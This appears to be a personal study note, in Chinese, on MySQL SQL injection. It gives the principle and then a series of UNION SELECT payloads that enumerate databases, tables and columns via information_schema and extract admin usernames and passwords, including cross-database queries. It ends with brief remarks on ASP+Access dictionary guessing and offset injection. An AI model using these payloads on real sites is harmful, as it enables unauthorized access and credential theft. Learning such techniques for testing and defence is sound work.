用途:个人学习笔记,欢迎指正!
前言:
为了网站和数据库的安全性,MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL 两种思路:非 ROOT 的注入攻击:常规类的猜解ROOT 用户的注入攻击:文件读写操作,跨库查询注入等
SQL注入原理:
用户端提交的数据包中有可以控制的变量,而这个变量没有被过滤直接拼接到SQL语句中在数据库解析执行,从而通过构造这个变量使得拼接后的SQL语句可以额外对数据库做一些其他攻击操作。或者说:sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析 执行进行的攻击。
黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!
select * from product where id=1513
select * from product where id=1513
查询 admin 表名:
UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询 admin 表名下的 admin 等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema :存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables :记录表名信息的表
information_schema.columns :记录列名信息表
information_schema.tables
获取相关数据:
1 、数据库版本 - 看是否符合 information_schema 查询 -version()-5.5.532
2 、数据库用户 - 看是否符合 ROOT 型注入攻击 -user()-root@localhost
3 、当前操作系统 - 看是否支持大小写或文件路径选择 -@@version_compile_os-win
4 、数据库名字 - 为后期猜解指定数据库下的表,列做准备 -database()-syguestbook
一、ROOT 类型攻击-猜解数据,文件读写,跨库查询
获取 syguestbook 数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='syguestbook'
获取表名 sy_adminuser 的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
二、跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前 mysql 下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名 xhcms 下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='xhcms'
获取数据库名 xhcms 下的表 manage 下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
三、小试牛刀
#ASP+Access-简易注入-字典猜解
由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,那么就会出现表名
或列名猜解不到,可以自定义社工字典或采用偏移注入!
#ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!